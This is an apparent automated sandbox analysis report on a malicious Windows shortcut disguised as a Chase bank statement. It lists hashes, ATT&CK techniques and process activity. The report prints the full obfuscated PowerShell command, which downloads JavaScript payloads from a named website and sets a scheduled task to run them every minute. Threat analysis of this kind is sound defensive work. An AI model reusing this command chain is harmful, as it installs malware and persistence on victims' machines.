dd56d8d92b125dc1cbd12a164274adf032f2053bfa5ac48c39e645fa1b61400f

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
21/03/2025, 17:36

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General

Target

chase_statement_march.lnk
Size

1KB
MD5

202ee916a0113699880cc2e48a73d353
SHA1

85d9b74b2afa5bf0320e746a2871ef614159db2e
SHA256

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb
SHA512

c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 2104	1268	cmd.exe	32
PID 1268 wrote to memory of 2104	1268	cmd.exe	32
PID 1268 wrote to memory of 2104	1268	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_statement_march.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2104-38-0x000007FEF5FBE000-0x000007FEF5FBF000-memory.dmp

Filesize
4KB

Download
memory/2104-39-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2104-41-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-40-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/2104-42-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-43-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-44-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download
memory/2104-45-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

Filesize
9.6MB

Download